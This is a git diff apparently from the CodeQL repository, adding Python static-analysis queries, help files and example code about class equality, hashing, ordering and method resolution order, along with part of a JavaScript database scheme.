JSON +#keyset[parent, idx] +json (unique int id: @json_value, + int kind: int ref, + int parent: @json_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); + +json_literals (varchar(900) value: string ref, + varchar(900) raw: string ref, + unique int expr: @json_value ref); + +json_properties (int obj: @json_object ref, + varchar(900) property: string ref, + int value: @json_value ref); + +json_errors (unique int id: @json_parse_error, + varchar(900) message: string ref); + +case @json_value.kind of + 0 = @json_null +| 1 = @json_boolean +| 2 = @json_number +| 3 = @json_string +| 4 = @json_array +| 5 = @json_object; + +@json_parent = @json_object | @json_array | @file; + +// locations +@ast_node = @toplevel | @stmt | @expr | @property | @typeexpr; + +@locatable = @file + | @ast_node + | @comment + | @line + | @js_parse_error | @regexp_parse_error | @json_parse_error + | @regexpterm + | @json_value + | @token + | @cfg_node + | @jsdoc | @jsdoc_type_expr | @jsdoc_tag + | @yaml_node | @yaml_error + | @xmllocatable; + +hasLocation (unique int locatable: @locatable ref, + int location: @location ref); + +// CFG +entry_cfg_node (unique int id: @entry_node, int container: @stmt_container ref); +exit_cfg_node (unique int id: @exit_node, int container: @stmt_container ref); +guard_node (unique int id: @guard_node, int kind: int ref, int test: @expr ref); +case @guard_node.kind of + 0 = @falsy_guard +| 1 = @truthy_guard; +@condition_guard = @falsy_guard | @truthy_guard; + +@synthetic_cfg_node = @entry_node | @exit_node | @guard_node; +@cfg_node = @synthetic_cfg_node | @exprparent; + +successor (int pred: @cfg_node ref, int succ: @cfg_node ref); + +// JSDoc comments +jsdoc (unique int id: @jsdoc, varchar(900) description: string ref, int comment: @comment ref); +#keyset[parent, idx] +jsdoc_tags (unique int id: @jsdoc_tag, varchar(900) title: string ref, + int parent: @jsdoc ref, int idx: int ref, varchar(900) tostring: string ref); +jsdoc_tag_descriptions (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); +jsdoc_tag_names (unique int tag: @jsdoc_tag ref, varchar(900) text: string ref); + +#keyset[parent, idx] +jsdoc_type_exprs (unique int id: @jsdoc_type_expr, + int kind: int ref, + int parent: @jsdoc_type_expr_parent ref, + int idx: int ref, + varchar(900) tostring: string ref); +case @jsdoc_type_expr.kind of + 0 = @jsdoc_any_type_expr +| 1 = @jsdoc_null_type_expr +| 2 = @jsdoc_undefined_type_expr +| 3 = @jsdoc_unknown_type_expr +| 4 = @jsdoc_void_type_expr +| 5 = @jsdoc_named_type_expr +| 6 = @jsdoc_applied_type_expr +| 7 = @jsdoc_nullable_type_expr +| 8 = @jsdoc_non_nullable_type_expr +| 9 = @jsdoc_record_type_expr +| 10 = @jsdoc_array_type_expr +| 11 = @jsdoc_union_type_expr +| 12 = @jsdoc_function_type_expr +| 13 = @jsdoc_optional_type_expr +| 14 = @jsdoc_rest_type_expr +; + +#keyset[id, idx] +jsdoc_record_field_name (int id: @jsdoc_record_type_expr ref, int idx: int ref, varchar(900) name: string ref); +jsdoc_prefix_qualifier (int id: @jsdoc_type_expr ref); +jsdoc_has_new_parameter (int fn: @jsdoc_function_type_expr ref); + +@jsdoc_type_expr_parent = @jsdoc_type_expr | @jsdoc_tag; + +jsdoc_errors (unique int id: @jsdoc_error, int tag: @jsdoc_tag ref, varchar(900) message: string ref, varchar(900) tostring: string ref); + +// YAML +#keyset[parent, idx] +yaml (unique int id: @yaml_node, + int kind: int ref, + int parent: @yaml_node_parent ref, + int idx: int ref, + varchar(900) tag: string ref, + varchar(900) tostring: string ref); + +case @yaml_node.kind of + 0 = @yaml_scalar_node +| 1 = @yaml_mapping_node +| 2 = @yaml_sequence_node +| 3 = @yaml_alias_node +; + +@yaml_collection_node = @yaml_mapping_node | @yaml_sequence_node; + +@yaml_node_parent = @yaml_collection_node | @file; + +yaml_anchors (unique int node: @yaml_node ref, + varchar(900) anchor: string ref); + +yaml_aliases (unique int alias: @yaml_alias_node ref, + varchar(900) target: string ref); + +yaml_scalars (unique int scalar: @yaml_scalar_node ref, + int style: int ref, + varchar(900) value: string ref); + +yaml_errors (unique int id: @yaml_error, + varchar(900) message: string ref); + +/* XML Files */ + +xmlEncoding( + unique int id: @file ref, + varchar(900) encoding: string ref +); + +xmlDTDs( + unique int id: @xmldtd, + varchar(900) root: string ref, + varchar(900) publicId: string ref, + varchar(900) systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + varchar(900) name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + varchar(900) name: string ref, + varchar(3600) value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + varchar(900) prefixName: string ref, + varchar(900) URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + varchar(3600) text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +@dataflownode = @expr | @functiondeclstmt | @classdeclstmt | @namespacedeclaration | @enumdeclaration | @property; + +@optionalchainable = @callexpr | @propaccess; + +isOptionalChaining(int id: @optionalchainable ref); + +/* Last updated 2018/10/23. */ diff --git a/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/upgrade.properties b/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/upgrade.properties new file mode 100644 index 00000000000..62d5e9ba5e3 --- /dev/null +++ b/javascript/upgrades/81e6619c681f7844e8ddc38db102e75b428c830c/upgrade.properties @@ -0,0 +1,2 @@ +description: 'introduce @nullishcoalescingexpr' +compatibility: backwards \ No newline at end of file diff --git a/python/ql/src/.project b/python/ql/src/.project new file mode 100644 index 00000000000..1f9146259c2 --- /dev/null +++ b/python/ql/src/.project @@ -0,0 +1,18 @@ + + + semmlecode-python-queries + + + + + + org.python.pydev.PyDevBuilder + + + + + + org.python.pydev.pythonNature + com.semmle.plugin.qdt.core.qlnature + + diff --git a/python/ql/src/.qlpath b/python/ql/src/.qlpath new file mode 100644 index 00000000000..7c2c1b3b672 --- /dev/null +++ b/python/ql/src/.qlpath @@ -0,0 +1,6 @@ + + + + /semmlecode-python-queries/semmlecode.python.dbscheme + python + diff --git a/python/ql/src/.vs/VSWorkspaceSettings.json b/python/ql/src/.vs/VSWorkspaceSettings.json new file mode 100644 index 00000000000..a9c4c4517c0 --- /dev/null +++ b/python/ql/src/.vs/VSWorkspaceSettings.json @@ -0,0 +1,8 @@ +{ + "ql.projects" : { + "." : { + "dbScheme" : "semmlecode.python.dbscheme", + "libraryPath" : [] + } + } +} \ No newline at end of file diff --git a/python/ql/src/Classes/ConflictingAttributesInBaseClasses.py b/python/ql/src/Classes/ConflictingAttributesInBaseClasses.py new file mode 100644 index 00000000000..295e06e86e9 --- /dev/null +++ b/python/ql/src/Classes/ConflictingAttributesInBaseClasses.py @@ -0,0 +1,18 @@ + +class TCPServer(object): + + def process_request(self, request, client_address): + self.do_work(request, client_address) + self.shutdown_request(request) + + +class ThreadingMixIn: + """Mix-in class to handle each request in a new thread.""" + + def process_request(self, request, client_address): + """Start a new thread to process the request.""" + t = threading.Thread(target = self.do_work, args = (request, client_address)) + t.daemon = self.daemon_threads + t.start() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): pass diff --git a/python/ql/src/Classes/ConflictingAttributesInBaseClasses.qhelp b/python/ql/src/Classes/ConflictingAttributesInBaseClasses.qhelp new file mode 100644 index 00000000000..315ffae585f --- /dev/null +++ b/python/ql/src/Classes/ConflictingAttributesInBaseClasses.qhelp @@ -0,0 +1,59 @@ + + + + +

    +When a class subclasses multiple base classes, attribute lookup is performed from left to right amongst the base classes. +This form of attribute lookup is called "method resolution order" and is a solution to the +diamond inheritance problem where several base classes +override a method in a shared superclass. +

    +

    +Unfortunately, this means that if more than one base class defines the same attribute, the leftmost base class will effectively override +the attribute of the rightmost base class, even though the leftmost base class is not a subclass of the rightmost base class. +Unless the methods in question are designed for inheritance, using super, then this implicit overriding may not be the desired behavior. +Even if it is the desired behavior it makes the code hard to understand and maintain. +

    + +
    + +

    There are a number of ways that might be used to address this issue: +

      +
    • Override the attribute in the subclass to implement the correct behavior.
    • +
    • Modify the class hierarchy and move equivalent or redundant methods to a common super class.
    • +
    • Modify the method hierarchy, breaking up complex methods into constituent parts.
    • +
    • Use delegation rather than inheritance.
    • +
    + +
    + + +

    +In this example the class ThreadingTCPServer inherits from ThreadingMixIn and from TCPServer. +However, both these classes implement process_request which means that ThreadingTCPServer will inherit +process_request from ThreadingMixIn. Consequently, the implementation of process_request in TCPServer +will be ignored, which may not be the correct behavior. +

    + + +

    +This can be fixed either by overriding the method, as shown in class ThreadingTCPServerOverriding +or by ensuring that the +functionality provided by the two base classes does not overlap, as shown in class ThreadingTCPServerChangedHierarchy. +

    + + + +
    + + +
  • Python Language Reference: Data model.
  • +
  • Python releases: The Python 2.3 Method Resolution Order.
  • +
  • Wikipedia: C3 linearization.
  • +
  • Wikipedia: Composition over inheritance.
  • + + +
    +
    diff --git a/python/ql/src/Classes/ConflictingAttributesInBaseClasses.ql b/python/ql/src/Classes/ConflictingAttributesInBaseClasses.ql new file mode 100644 index 00000000000..44be7ac9157 --- /dev/null +++ b/python/ql/src/Classes/ConflictingAttributesInBaseClasses.ql @@ -0,0 +1,57 @@ +/** + * @name Conflicting attributes in base classes + * @description When a class subclasses multiple base classes and more than one base class defines the same attribute, attribute overriding may result in unexpected behavior by instances of this class. + * @kind problem + * @tags reliability + * maintainability + * modularity + * @problem.severity warning + * @sub-severity low + * @precision high + * @id py/conflicting-attributes + */ + +import python + +predicate does_nothing(PyFunctionObject f) { + not exists(Stmt s | s.getScope() = f.getFunction() | + not s instanceof Pass and not ((ExprStmt)s).getValue() = f.getFunction().getDocString() + ) +} + +/* If a method performs a super() call then it is OK as the 'overridden' method will get called */ +predicate calls_super(FunctionObject f) { + exists(Call sup, Call meth, Attribute attr, GlobalVariable v | + meth.getScope() = f.getFunction() and + meth.getFunc() = attr and + attr.getObject() = sup and + attr.getName() = f.getName() and + sup.getFunc() = v.getAnAccess() and + v.getId() = "super" + ) +} + +/** Holds if the given name is white-listed for some reason */ +predicate whitelisted(string name) { + /* The standard library specifically recommends this :( + * See https://docs.python.org/3/library/socketserver.html#asynchronous-mixins */ + name = "process_request" +} + +from ClassObject c, ClassObject b1, ClassObject b2, string name, +int i1, int i2, Object o1, Object o2 +where c.getBaseType(i1) = b1 and +c.getBaseType(i2) = b2 and +i1 < i2 and o1 != o2 and +o1 = b1.lookupAttribute(name) and +o2 = b2.lookupAttribute(name) and +not name.matches("\\_\\_%\\_\\_") and +not calls_super(o1) and +not does_nothing(o2) and +not whitelisted(name) and +not o1.overrides(o2) and +not o2.overrides(o1) and +not c.declaresAttribute(name) + +select c, "Base classes have conflicting values for attribute '" + name + "': $@ and $@.", o1, o1.toString(), o2, o2.toString() + diff --git a/python/ql/src/Classes/ConflictingAttributesInBaseClasses_Fixed.py b/python/ql/src/Classes/ConflictingAttributesInBaseClasses_Fixed.py new file mode 100644 index 00000000000..c106064f2a8 --- /dev/null +++ b/python/ql/src/Classes/ConflictingAttributesInBaseClasses_Fixed.py @@ -0,0 +1,24 @@ + +#Fixed by overriding. This does not change behavior, but makes it explicit and comprehensible. +class ThreadingTCPServerOverriding(ThreadingMixIn, TCPServer): + + def process_request(self, request, client_address): + #process_request forwards to do_work, so it is OK to call ThreadingMixIn.process_request directly + ThreadingMixIn.process_request(self, request, client_address) + + +#Fixed by separating threading functionality from request handling. +class ThreadingMixIn: + """Mix-in class to help with threads.""" + + def do_job_in_thread(self, job, args): + """Start a new thread to do the job""" + t = threading.Thread(target = job, args = args) + t.start() + +class ThreadingTCPServerChangedHierarchy(ThreadingMixIn, TCPServer): + + def process_request(self, request, client_address): + """Start a new thread to process the request.""" + self.do_job_in_thread(self.do_work, (request, client_address)) + diff --git a/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.py b/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.py new file mode 100644 index 00000000000..e8ae058309f --- /dev/null +++ b/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.py @@ -0,0 +1,40 @@ +class Point(object): + + def __init__(self, x, y): + self._x = x + self._y = y + + def __repr__(self): + return 'Point(%r, %r)' % (self._x, self._y) + + def __eq__(self, other): + if not isinstance(other, Point): + return False + return self._x == other._x and self._y == other._y + +class ColorPoint(Point): + + def __init__(self, x, y, color): + Point.__init__(self, x, y) + self._color = color + + def __repr__(self): + return 'ColorPoint(%r, %r)' % (self._x, self._y, self._color) + +#ColorPoint(0, 0, Red) == ColorPoint(0, 0, Green) should be False, but is True. + +#Fixed version +class ColorPoint(Point): + + def __init__(self, x, y, color): + Point.__init__(self, x, y) + self._color = color + + def __repr__(self): + return 'ColorPoint(%r, %r)' % (self._x, self._y, self._color) + + def __eq__(self, other): + if not isinstance(other, ColorPoint): + return False + return Point.__eq__(self, other) and self._color = other._color + diff --git a/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.qhelp b/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.qhelp new file mode 100644 index 00000000000..0260c6456e6 --- /dev/null +++ b/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.qhelp @@ -0,0 +1,37 @@ + + + + +

    A class that defines attributes that are not present in its superclasses +may need to override the __eq__() method (__ne__() +should also be defined).

    + +

    Adding additional attributes without overriding __eq__() means +that the additional attributes will not be accounted for in equality tests.

    + + +
    + + +

    Override the __eq__ method.

    + + +
    + +

    In the following example the ColorPoint +class subclasses the Point class and adds a new attribute, +but does not override the __eq__ method. +

    + + + + +
    + + +
  • Peter Grogono, Philip Santas: Equality in Object Oriented Languages
  • + +
    +
    diff --git a/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.ql b/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.ql new file mode 100644 index 00000000000..5b80f2fd7bf --- /dev/null +++ b/python/ql/src/Classes/DefineEqualsWhenAddingAttributes.ql @@ -0,0 +1,52 @@ +/** + * @name __eq__ not overridden when adding attributes + * @description When adding new attributes to instances of a class, equality for that class needs to be defined. + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity high + * @precision high + * @id py/missing-equals + */ + +import python +import semmle.python.SelfAttribute +import Equality + +predicate class_stores_to_attribute(ClassObject cls, SelfAttributeStore store, string name) { + exists(FunctionObject f | f = cls.declaredAttribute(_) and store.getScope() = f.getFunction() and store.getName() = name) and + /* Exclude classes used as metaclasses */ + not cls.getASuperType() = theTypeType() +} + +predicate should_override_eq(ClassObject cls, Object base_eq) { + not cls.declaresAttribute("__eq__") and + exists(ClassObject sup | sup = cls.getABaseType() and sup.declaredAttribute("__eq__") = base_eq | + not exists(GenericEqMethod eq | eq.getScope() = sup.getPyClass()) and + not exists(IdentityEqMethod eq | eq.getScope() = sup.getPyClass()) and + not base_eq.(FunctionObject).getFunction() instanceof IdentityEqMethod and + not base_eq = theObjectType().declaredAttribute("__eq__") + ) +} + +/** Does the non-overridden __eq__ method access the attribute, + * which implies that the __eq__ method does not need to be overridden. + */ +predicate superclassEqExpectsAttribute(ClassObject cls, PyFunctionObject base_eq, string attrname) { + not cls.declaresAttribute("__eq__") and + exists(ClassObject sup | sup = cls.getABaseType() and sup.declaredAttribute("__eq__") = base_eq | + exists(SelfAttributeRead store | + store.getName() = attrname | + store.getScope() = base_eq.getFunction() + ) + ) +} + +from ClassObject cls, SelfAttributeStore store, Object base_eq +where class_stores_to_attribute(cls, store, _) and should_override_eq(cls, base_eq) and +/* Don't report overridden unittest.TestCase. -- TestCase overrides __eq__, but subclasses do not really need to. */ +not cls.getASuperType().getName() = "TestCase" and +not superclassEqExpectsAttribute(cls, base_eq, store.getName()) + +select cls, "The class '" + cls.getName() + "' does not override $@, but adds the new attribute $@.", base_eq, "'__eq__'", store, store.getName() diff --git a/python/ql/src/Classes/Equality.qll b/python/ql/src/Classes/Equality.qll new file mode 100644 index 00000000000..5f7648fafc4 --- /dev/null +++ b/python/ql/src/Classes/Equality.qll @@ -0,0 +1,71 @@ +import python + + +private Attribute dictAccess(LocalVariable var) { + result.getName() = "__dict__" and + result.getObject() = var.getAnAccess() +} + +private Call getattr(LocalVariable obj, LocalVariable attr) { + result.getFunc().(Name).getId() = "getattr" and + result.getArg(0) = obj.getAnAccess() and + result.getArg(1) = attr.getAnAccess() +} + +/** A generic equality method that compares all attributes in its dict, + * or compares attributes using `getattr`. */ +class GenericEqMethod extends Function { + + GenericEqMethod() { + this.getName() = "__eq__" and + exists(LocalVariable self, LocalVariable other | + self.getAnAccess() = this.getArg(0) and self.getId() = "self" and + other.getAnAccess() = this.getArg(1) and + exists(Compare eq | + eq.getOp(0) instanceof Eq or + eq.getOp(0) instanceof NotEq | + // `self.__dict__ == other.__dict__` + eq.getAChildNode() = dictAccess(self) and + eq.getAChildNode() = dictAccess(other) + or + // `getattr(self, var) == getattr(other, var)` + exists(Variable var | + eq.getAChildNode() = getattr(self, var) and + eq.getAChildNode() = getattr(other, var) + ) + ) + ) + } +} + +/** An __eq__ method that just does self is other */ +class IdentityEqMethod extends Function { + + IdentityEqMethod() { + this.getName() = "__eq__" and + exists(LocalVariable self, LocalVariable other | + self.getAnAccess() = this.getArg(0) and self.getId() = "self" and + other.getAnAccess() = this.getArg(1) and + exists(Compare eq | eq.getOp(0) instanceof Is | + eq.getAChildNode() = self.getAnAccess() and + eq.getAChildNode() = other.getAnAccess() + ) + ) + } + +} + +/** An (in)equality method that delegates to its complement */ +class DelegatingEqualityMethod extends Function { + + DelegatingEqualityMethod() { + exists(Return ret, UnaryExpr not_, Compare comp, Cmpop op, Parameter p0, Parameter p1 | + ret.getScope() = this and + ret.getValue() = not_ and + not_.getOp() instanceof Not and not_.getOperand() = comp and + comp.compares(p0.getVariable().getAnAccess(), op, p1.getVariable().getAnAccess()) | + this.getName() = "__eq__" and op instanceof NotEq or + this.getName() = "__ne__" and op instanceof Eq + ) + } +} diff --git a/python/ql/src/Classes/EqualsOrHash.py b/python/ql/src/Classes/EqualsOrHash.py new file mode 100644 index 00000000000..e89c75b30ad --- /dev/null +++ b/python/ql/src/Classes/EqualsOrHash.py @@ -0,0 +1,52 @@ +# Incorrect: equality method defined but class contains no hash method +class Point(object): + + def __init__(self, x, y): + self._x = x + self._y = y + + def __repr__(self): + return 'Point(%r, %r)' % (self._x, self._y) + + def __eq__(self, other): + if not isinstance(other, Point): + return False + return self._x == other._x and self._y == other._y + + +# Improved: equality and hash method defined (inequality method still missing) +class PointUpdated(object): + + def __init__(self, x, y): + self._x = x + self._y = y + + def __repr__(self): + return 'Point(%r, %r)' % (self._x, self._y) + + def __eq__(self, other): + if not isinstance(other, Point): + return False + return self._x == other._x and self._y == other._y + + def __hash__(self): + return hash(self._x) ^ hash(self._y) + +# Improved: equality method defined and class instances made unhashable +class UnhashablePoint(object): + + def __init__(self, x, y): + self._x = x + self._y = y + + def __repr__(self): + return 'Point(%r, %r)' % (self._x, self._y) + + def __eq__(self, other): + if not isinstance(other, Point): + return False + return self._x == other._x and self._y == other._y + + #Tell the interpreter that instances of this class cannot be hashed + __hash__ = None + diff --git a/python/ql/src/Classes/EqualsOrHash.qhelp b/python/ql/src/Classes/EqualsOrHash.qhelp new file mode 100644 index 00000000000..28579a095f7 --- /dev/null +++ b/python/ql/src/Classes/EqualsOrHash.qhelp @@ -0,0 +1,46 @@ + + + + +

    In order to conform to the object model, classes that define their own equality method should also +define their own hash method, or be unhashable. If the hash method is not defined then the hash of the +super class is used. This is unlikely to result in the expected behavior.

    + +

    A class can be made unhashable by setting its __hash__ attribute to None.

    + +

    In Python 3, if you define a class-level equality method and omit a __hash__ method +then the class is automatically marked as unhashable.

    + +
    + + +

    When you define an __eq__ method for a class, remember to implement a __hash__ method or set +__hash__ = None.

    + +
    + +

    In the following example the Point class defines an equality method but +no hash method. If hash is called on this class then the hash method defined for object +is used. This is unlikely to give the required behavior. The PointUpdated class +is better as it defines both an equality and a hash method. +If Point was not to be used in dicts or sets, then it could be defined as +UnhashablePoint below. +

    +

    +To comply fully with the object model this class should also define an inequality method (identified +by a separate rule).

    + + + +
    + + + +
  • Python Language Reference: object.__hash__.
  • +
  • Python Glossary: hashable.
  • + + +
    +
    diff --git a/python/ql/src/Classes/EqualsOrHash.ql b/python/ql/src/Classes/EqualsOrHash.ql new file mode 100644 index 00000000000..a0ff96c6eae --- /dev/null +++ b/python/ql/src/Classes/EqualsOrHash.ql @@ -0,0 +1,46 @@ +/** + * @name Inconsistent equality and hashing + * @description Defining equality for a class without also defining hashability (or vice-versa) violates the object model. + * @kind problem + * @tags reliability + * correctness + * external/cwe/cwe-581 + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/equals-hash-mismatch + */ + +import python + +FunctionObject defines_equality(ClassObject c, string name) { + (name = "__eq__" or major_version() = 2 and name = "__cmp__") + and + result = c.declaredAttribute(name) +} + +FunctionObject implemented_method(ClassObject c, string name) { + result = defines_equality(c, name) + or + result = c.declaredAttribute("__hash__") and name = "__hash__" +} + +string unimplemented_method(ClassObject c) { + not exists(defines_equality(c, _)) and + (result = "__eq__" and major_version() = 3 or major_version() = 2 and result = "__eq__ or __cmp__") + or + /* Python 3 automatically makes classes unhashable if __eq__ is defined, but __hash__ is not */ + not c.declaresAttribute(result) and result = "__hash__" and major_version() = 2 +} + +predicate violates_hash_contract(ClassObject c, string present, string missing, Object method) { + not c.unhashable() and + missing = unimplemented_method(c) and + method = implemented_method(c, present) and + not c.unknowableAttributes() +} + +from ClassObject c, string present, string missing, FunctionObject method +where violates_hash_contract(c, present, missing, method) and +exists(c.getPyClass()) // Suppress results that aren't from source +select method, "Class $@ implements " + present + " but does not define " + missing + ".", c, c.getName() diff --git a/python/ql/src/Classes/EqualsOrNotEquals.py b/python/ql/src/Classes/EqualsOrNotEquals.py new file mode 100644 index 00000000000..7e1ece7685c --- /dev/null +++ b/python/ql/src/Classes/EqualsOrNotEquals.py @@ -0,0 +1,32 @@ +class PointOriginal(object): + + def __init__(self, x, y): + self._x, x + self._y = y + + def __repr__(self): + return 'Point(%r, %r)' % (self._x, self._y) + + def __eq__(self, other): # Incorrect: equality is defined but inequality is not + if not isinstance(other, Point): + return False + return self._x == other._x and self._y == other._y + + +class PointUpdated(object): + + def __init__(self, x, y): + self._x, x + self._y = y + + def __repr__(self): + return 'Point(%r, %r)' % (self._x, self._y) + + def __eq__(self, other): + if not isinstance(other, Point): + return False + return self._x == other._x and self._y == other._y + + def __ne__(self, other): # Improved: equality and inequality method defined (hash method still missing) + return not self == other + diff --git a/python/ql/src/Classes/EqualsOrNotEquals.qhelp b/python/ql/src/Classes/EqualsOrNotEquals.qhelp new file mode 100644 index 00000000000..c49f3d2529e --- /dev/null +++ b/python/ql/src/Classes/EqualsOrNotEquals.qhelp @@ -0,0 +1,37 @@ + + + + +

    In order to conform to the object model, classes should define either no equality methods, or both +an equality and an inequality method. If only one of __eq__ or __ne__ is +defined then the method from the super class is used. This is unlikely to result in the expected +behavior.

    + +
    + + +

    When you define an equality or an inequality method for a class, remember to implement both an +__eq__ method and an __ne__ method.

    + +
    + +

    In the following example the PointOriginal class defines an equality method but +no inequality method. If this class is tested for inequality then a type error will be raised. The +PointUpdated class is better as it defines both an equality and an inequality method. To +comply fully with the object model this class should also define a hash method (identified by +a separate rule).

    + + + +
    + + + +
  • Python Language Reference: object.__ne__, +Comparisons.
  • + + +
    +
    diff --git a/python/ql/src/Classes/EqualsOrNotEquals.ql b/python/ql/src/Classes/EqualsOrNotEquals.ql new file mode 100644 index 00000000000..9674030a64c --- /dev/null +++ b/python/ql/src/Classes/EqualsOrNotEquals.ql @@ -0,0 +1,50 @@ +/** + * @name Inconsistent equality and inequality + * @description Defining only an equality method or an inequality method for a class violates the object model. + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity high + * @precision very-high + * @id py/inconsistent-equality + */ + +import python +import Equality + +string equals_or_ne() { + result = "__eq__" or result = "__ne__" +} + +predicate total_ordering(Class cls) { + exists(Attribute a | a = cls.getADecorator() | + a.getName() = "total_ordering") + or + exists(Name n | n = cls.getADecorator() | + n.getId() = "total_ordering") +} + +FunctionObject implemented_method(ClassObject c, string name) { + result = c.declaredAttribute(name) and name = equals_or_ne() +} + +string unimplemented_method(ClassObject c) { + not c.declaresAttribute(result) and result = equals_or_ne() +} + +predicate violates_equality_contract(ClassObject c, string present, string missing, FunctionObject method) { + missing = unimplemented_method(c) and + method = implemented_method(c, present) and + not c.unknowableAttributes() and + not total_ordering(c.getPyClass()) and + /* Python 3 automatically implements __ne__ if __eq__ is defined, but not vice-versa */ + not (major_version() = 3 and present = "__eq__" and missing = "__ne__") and + not method.getFunction() instanceof DelegatingEqualityMethod and + not c.lookupAttribute(missing).(FunctionObject).getFunction() instanceof DelegatingEqualityMethod +} + +from ClassObject c, string present, string missing, FunctionObject method +where violates_equality_contract(c, present, missing, method) + +select method, "Class $@ implements " + present + " but does not implement " + missing + ".", c, c.getName() diff --git a/python/ql/src/Classes/IncompleteOrdering.py b/python/ql/src/Classes/IncompleteOrdering.py new file mode 100644 index 00000000000..78b306880b0 --- /dev/null +++ b/python/ql/src/Classes/IncompleteOrdering.py @@ -0,0 +1,6 @@ +class IncompleteOrdering(object): + def __init__(self, i): + self.i = i + + def __lt__(self, other): + return self.i < other.i \ No newline at end of file diff --git a/python/ql/src/Classes/IncompleteOrdering.qhelp b/python/ql/src/Classes/IncompleteOrdering.qhelp new file mode 100644 index 00000000000..7983985ccee --- /dev/null +++ b/python/ql/src/Classes/IncompleteOrdering.qhelp @@ -0,0 +1,35 @@ + + + +

    A class that implements an ordering operator +(__lt__, __gt__, __le__ or __ge__) should implement +all four in order that ordering between two objects is consistent and obeys the usual mathematical rules. +If the ordering is inconsistent with default equality, then __eq__ and __ne__ +should also be implemented. +

    + +
    + +

    Ensure that all four ordering comparisons are implemented as well as __eq__ and +__ne__ if required.

    + +

    It is not necessary to manually implement all four comparisons, +the functools.total_ordering class decorator can be used.

    + +
    + +

    In this example only the __lt__ operator has been implemented which could lead to +inconsistent behavior. __gt__, __le__, __ge__, and in this case, +__eq__ and __ne__ should be implemented.

    + + +
    + + +
  • Python Language Reference: Rich comparisons in Python.
  • + + +
    +
    diff --git a/python/ql/src/Classes/IncompleteOrdering.ql b/python/ql/src/Classes/IncompleteOrdering.ql new file mode 100644 index 00000000000..03c2ddf390c --- /dev/null +++ b/python/ql/src/Classes/IncompleteOrdering.ql @@ -0,0 +1,75 @@ +/** + * @name Incomplete ordering + * @description Class defines one or more ordering method but does not define all 4 ordering comparison methods + * @kind problem + * @tags reliability + * correctness + * @problem.severity warning + * @sub-severity low + * @precision very-high + * @id py/incomplete-ordering + */ + +import python + +predicate total_ordering(Class cls) { + exists(Attribute a | a = cls.getADecorator() | + a.getName() = "total_ordering") + or + exists(Name n | n = cls.getADecorator() | + n.getId() = "total_ordering") +} + +string ordering_name(int n) { + result = "__lt__" and n = 1 or + result = "__le__" and n = 2 or + result = "__gt__" and n = 3 or + result = "__ge__" and n = 4 +} + +predicate overrides_ordering_method(ClassObject c, string name) { + name = ordering_name(_) and + ( + c.declaresAttribute(name) + or + exists(ClassObject sup | + sup = c.getASuperType() and not sup = theObjectType() | + sup.declaresAttribute(name) + ) + ) +} + +string unimplemented_ordering(ClassObject c, int n) { + not c = theObjectType() and + not overrides_ordering_method(c, result) and + result = ordering_name(n) +} + +string unimplemented_ordering_methods(ClassObject c, int n) { + n = 0 and result = "" and exists(unimplemented_ordering(c, _)) + or + exists(string prefix, int nm1 | + n = nm1 + 1 and prefix = unimplemented_ordering_methods(c, nm1) | + prefix = "" and result = unimplemented_ordering(c, n) + or + result = prefix and not exists(unimplemented_ordering(c, n)) and n < 5 + or + prefix != "" and result = prefix + " or " + unimplemented_ordering(c, n) + ) +} + +Object ordering_method(ClassObject c, string name) { + /* If class doesn't declare a method then don't blame this class (the superclass will be blamed). */ + name = ordering_name(_) and result = c.declaredAttribute(name) +} + +from ClassObject c, Object ordering, string name +where not c.unknowableAttributes() and +not total_ordering(c.getPyClass()) +and ordering = ordering_method(c, name) and +exists(unimplemented_ordering(c, _)) + +select c, "Class " + c.getName() + " implements $@, but does not implement " + unimplemented_ordering_methods(c, 4) + ".", +ordering, name + + diff --git a/python/ql/src/Classes/InconsistentMRO.py b/python/ql/src/Classes/InconsistentMRO.py new file mode 100644 index 00000000000..767782b25c7 --- /dev/null +++ b/python/ql/src/Classes/InconsistentMRO.py @@ -0,0 +1,6 @@ +class X(object): + def __init__(self): + print("X") +class Y(object,X): + def __init__(self): + print("Y") \ No newline at end of file diff --git a/python/ql/src/Classes/InconsistentMRO.qhelp b/python/ql/src/Classes/InconsistentMRO.qhelp new file mode 100644 index 00000000000..4c06a058a16 --- /dev/null +++ b/python/ql/src/Classes/InconsistentMRO.qhelp @@ -0,0 +1,30 @@ + + + +

    Python 2.3 introduced new-style classes (classes inheriting from object). New-style classes use +the C3 linearization method to determine a method resolution ordering (MRO) for each class. The C3 +linearization method ensures that for a class C, if a class C1 precedes a class C2 in the MRO of C +then C1 should also precede C2 in the MRO of all subclasses of C. It is possible to create a +situation where it is impossible to achieve this consistency and this will guarantee that a +TypeError will be raised at runtime.

    + +
    + +

